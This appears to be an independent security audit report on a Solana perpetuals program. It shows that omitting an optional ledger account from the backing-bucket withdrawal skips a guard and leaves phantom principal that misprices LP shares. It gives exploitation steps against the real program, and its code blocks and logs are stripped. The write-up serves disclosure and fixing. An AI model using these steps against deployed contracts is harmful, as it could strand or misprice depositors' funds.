let d = unsafe { core::ptr::read_volatile(&DATA[17]) };
input as *const u8;
d
}
Appendix E — Full-suite baseline command and totals
# from percolator-prog/, with ../percolator present (path dependency):
cargo test --no-default-features --no-fail-fast
totals across 26 test binaries:
TOTAL_PASSED = 520
TOTAL_FAILED = 86
All 86 failures belong to suites that require sibling BPF programs
(percolator-match, percolator-nft, percolator-stake) which are private/pinned
repositories not available in this sandbox. This matches the repositorys own
KNOWN_FAILING.txt record exactly (no sibling BPFs at all ... 86 failed), i.e. no
regression is attributable to this checkout.
Report generated as part of an independent security review of dcccrypto/percolator-prog.
9. Audit Scope and Negative Findings (reviewed, verified secure)
For completeness of this report: the following fund-flow surfaces were fully reviewed
during this audit and found correctly hardened. Listed so future auditors do not redo
the work and can see the finding above in context:
| Surface |
Protections confirmed |
Deposit / Withdraw |
owner-or-bound-NFT authorization; canonical vault ATA pinning (verify_vault_token_account); engine solvency gate |
WithdrawProtocolFee (84) / WithdrawCreatorFee (90) |
dedicated authority gates; accrued - withdrawn clamp; protocol-reserve threading |
WithdrawInsuranceAsset (57) / WithdrawInsurance (41) |
per-domain budgets; market-wide cooldown (#396); D-STAKE-1 admin-drain anti-bypass |
ExecuteRedemption (77) |
RESYNC dual watermark gate; OI reservation; insurance-stub crediting (LPVAULT-359) |
RequestRedeemLpShares (76) / CancelRedemption (81) |
replay guard via PDA consumption; redeemer-bound destination |
LpVaultCrankFees (78) |
clamped to engine-available surplus; no tokens move to the caller |
TradeNoCpi / BatchTradeNoCpi |
fee basis pinned to mark; caller fee floored at config; four-way split with aggregate cross-check |
TradeCpi matcher integration |
tail signer-stripping + aliasing rejection (W1); eight-gate matcher ABI validation; anti-off-market price band |
SwapSecondaryForPrimary |
marketauth-gated; both legs balance-verified 1:1 |
ExpireBackingBucket (89) |
permissionless but slot sourced from runtime Clock only; moves no tokens |
Context: the repository README states the code is experimental and unaudited. This
report is an independent review; a professional audit is still recommended before any
mainnet deployment.
dcccrypto/percolator-prog— Solana perpetuals wrapper program (src/v16_program.rs)handle_withdraw_backing_bucket(src/v16_program.rs, handler at line ~10394; optional-account wiring at ~10406; skipped guard at ~10484–10499)50—WithdrawBackingBucket { domain: u16, amount: u128 }tests/poc_audit_tag50_optional_ledger.rs(full source attached below)security.mddiscarded-candidates log,KNOWN_FAILING.txt,kani_audit.md, or any existing test1. Executive Summary
The backing-bucket withdrawal instruction accepts the per-domain backing ledger as an
optional trailing account. When the account is supplied, the handler enforces a
consistency guard —
amount > ledger.total_principal_atomsmust fail — and decrementsthe recorded principal. When the account is omitted, both properties silently
disappear: the withdrawal succeeds without any bookkeeping, leaving
ledger.total_principal_atomsfrozen at its pre-withdrawal value while the collateralvault is drained.
We prove with four executed tests that:
ledger and leaves phantom principal behind (vault = 0, ledger = 1000).
1000 are recorded succeeds without the ledger, while the identical call with the
ledger rejects.
top-up stacks onto the phantom value (
1000phantom +400real ⇒ ledger reads1400while the vault holds400).account as the sole root cause.
total_principal_atomsis a direct input tolp_vault_combined_nav_atoms, which pricesLP-vault share minting and redemption payouts. A poisoned counter therefore misprices LP
shares and can strand depositor funds once the engine bucket empties (redemption gates
then reject with
EngineLockActive).2. Root Cause
(a)and(c)exist only inside theSome(data)arm. Omittingaccounts[6]selects the
Nonearm: no guard, no decrement — but the token transfer at the end ofthe handler still executes.
(
DepositToLpVault) and tag 77 (ExecuteRedemption) require and address-pin bothdomain ledgers, precisely because "owner-only is not enough … a substituted ledger
both misprices the payout and corrupts the ledger" (their own comment). Tag 50 never
received the same treatment.
3. Detailed Description
3.1 Background
A market's collateral vault is a single canonical ATA owned by the per-market
vault_authorityPDA. Backing capital for domaindof assetais tracked twice:backing_long/backing_shortbuckets embedded in the marketaccount (
fresh_unliened_backing_num, etc.), which gate solvency.(
total_principal_atoms,total_deposited_atoms, earnings counters), which is theonly input to the LP-vault NAV function:
When an LP vault is created (
CreateLpVault, tag 74), the registry PDA is bound as thedomain pair's
backing_bucket_authority; before that binding, the authority is whateverwallet the market creator supplied during
UpdateAssetLifecycle(ACTIVATE).3.2 The bug
Tag 50 authorizes two ways: the local path (signer ==
backing_bucket_authority) and anadmin shutdown-drain path (itself neutralized by the D-STAKE-1 guard whenever the
authority is bound). On wallet-backed domains the local path is directly reachable by
the authority holder — and the ledger account is optional, so the same authorized caller
can withdraw in a mode where:
representations of "how much backing exists" diverge by exactly
amount.3.3 Why it matters (impact analysis)
lp_vault_combined_nav_atomscomputes LP NAV purely from ledger counters(
total_principal_atoms, earnings, losses) — not from the raw vault balance. Aftera no-ledger withdrawal of
amount:amount⇒ later deposits mint too few shares to the newdepositor (value transfer to earlier shareholders), and redemption claims computed
from NAV cannot be satisfied by the actual vault/bucket state.
bucket.fresh_unliened_backing_num < backing_num,ExecuteRedemptionhard-failswith
EngineLockActive— depositors are stranded until fresh capital re-funds thebucket, and the ledger remains wrong forever (later top-ups stack on the phantom
value, as demonstrated by test 4).
legitimate
backing_bucket_authority. It is an invariant bypass with fund-safetyconsequences for third-party LPs, not a privilege escalation: the authority cannot
steal other domains' funds, and the engine-side solvency gates continue to hold.
4. Exploitation Steps (as executed)
InitMarket(max_portfolio_assets=1, …)UpdateAssetLifecycle(ACTIVATE, asset_index=1, backing_bucket_authority=admin)TopUpBackingBucket(domain=2, amount=1000, expiry_slot=u64::MAX/2)ledger.total_principal_atoms = 1000WithdrawBackingBucket(domain=2, amount=1000)TopUpBackingBucket(domain=2, amount=400)Control run (identical steps, step 3 with the ledger): the 1500-atom over-withdrawal
rejects (
EngineCounterUnderflowfamily) and the exact 1000-atom withdrawal decrementsthe ledger to zero.
4.1 State before → after (test 1, verbatim program output)
4.2 Guard-skip proof (test 3, verbatim program output)
4.3 Persistence proof (test 4, verbatim program output)
4.4 Full execution log (final verification run)
5. Proof of Concept — Full Test Source (tests/poc_audit_tag50_optional_ledger.rs)
6. How to Reproduce
Environment used for verification (Windows 11, all steps executed on this machine):
Build the program and run the PoC:
Expected result of step 2:
test result: ok. 4 passed; 0 failed.7. Recommendation
Make the ledger account mandatory, mirroring the address-pinned treatment tags 75/77
already apply to the very same ledger type:
Secondary hardening options:
account optional but reject the instruction when it is omitted while an initialized
ledger exists for the (market, authority, domain) tuple.
poc_audit_tag50_optional_ledger.rs(attached)to CI so the optional-account path cannot silently return.
TopUpBackingBucket(tag 24) for the sameoptional-ledger asymmetry; a no-ledger top-up is benign by itself but widens the
divergence window demonstrated in test 3.
total_principal_atomsfrom the engine bucket (
sync_backing_domain_ledgercurrently refreshes onlywatermark counters), so already-deployed domains can recover from existing
desynchronization.
8. Verification Environment and Evidence Index
tests/poc_audit_tag50_optional_ledger.rstests/poc_v17_lp_redemption_stranding.rstests/diagnose_elf.rstarget/deploy/percolator_prog.so(1,305,272 bytes, stripped)cargo test --no-default-features --no-fail-fastKNOWN_FAILING.txtdocumentation (no sibling BPFs at all ... 86 failed)The four proof tests were executed against the real compiled SBF program inside LiteSVM
with genuine SPL-token program semantics: every state transition reported in Section 4
was produced by an actual signed transaction processed by the deployed-bytecode
equivalent of this checkout, not by mocks or stubs.
Appendices — Complete Test Sources Executed During This Audit
Nothing is left out: every test file that was executed as part of this audit's evidence
chain is reproduced below in full. Summary of execution results (all on the same built
target/deploy/percolator_prog.soartifact, see Section 6 for the build recipe):tests/poc_audit_tag50_optional_ledger.rstests/diagnose_elf.rstests/poc_v17_lp_redemption_stranding.rsminimal-prog/(Cargo.toml + lib.rs)cargo test --no-default-features --no-fail-fastover all 25 suitesKNOWN_FAILING.txt)Appendix A —
tests/poc_audit_tag50_optional_ledger.rs(THE FINDING)Reproduced in full in Section 5 above.
Appendix B —
tests/diagnose_elf.rs(environment sanity + loader isolation)Execution result:
Appendix C —
tests/poc_v17_lp_redemption_stranding.rs(upstream suite, fix validation, 6/6 PASS)This suite belongs to the repository (authored by its maintainer) and was executed in
full during this audit to validate that the historically documented LP-redemption
stranding bug is fixed in this checkout. Its full source is intentionally not inlined
here — this issue must stay under GitHub's 65,536-character body limit — read it directly
at
tests/poc_v17_lp_redemption_stranding.rs.A verbatim copy is preserved in
AUDIT_FINDING_TAG50_OPTIONAL_LEDGER.md(extended report,Appendix C).
The six tests and what each validates:
cancel_while_live_succeedsCancelRedemption(tag 81) returns escrowed shares while Livecancel_wrong_signer_rejectedcancel_twice_second_rejectscancel_recovers_stranded_redemptionredemption_executes_in_terminal_flat_resolvedcontrol_redemption_executes_while_market_stays_liveExecution result:
Appendix D — Minimal SBF isolation program (
minimal-prog/)Used once, during environment bring-up, to prove that ELFs produced by platform-tools
v1.48 are loadable by LiteSVM 0.1.0 at all (they are), and later with static data to
isolate section-layout hypotheses. Included so the tooling evidence chain is complete.
minimal-prog/Cargo.toml:minimal-prog/lib.rs:Appendix E — Full-suite baseline command and totals
All 86 failures belong to suites that require sibling BPF programs
(
percolator-match,percolator-nft,percolator-stake) which are private/pinnedrepositories not available in this sandbox. This matches the repositorys own
KNOWN_FAILING.txtrecord exactly (no sibling BPFs at all ... 86 failed), i.e. noregression is attributable to this checkout.
Report generated as part of an independent security review of dcccrypto/percolator-prog.
9. Audit Scope and Negative Findings (reviewed, verified secure)
For completeness of this report: the following fund-flow surfaces were fully reviewed
during this audit and found correctly hardened. Listed so future auditors do not redo
the work and can see the finding above in context:
Deposit/Withdrawverify_vault_token_account); engine solvency gateWithdrawProtocolFee(84) /WithdrawCreatorFee(90)accrued - withdrawnclamp; protocol-reserve threadingWithdrawInsuranceAsset(57) /WithdrawInsurance(41)ExecuteRedemption(77)RequestRedeemLpShares(76) /CancelRedemption(81)LpVaultCrankFees(78)TradeNoCpi/BatchTradeNoCpiTradeCpimatcher integrationSwapSecondaryForPrimaryExpireBackingBucket(89)Context: the repository README states the code is experimental and unaudited. This
report is an independent review; a professional audit is still recommended before any
mainnet deployment.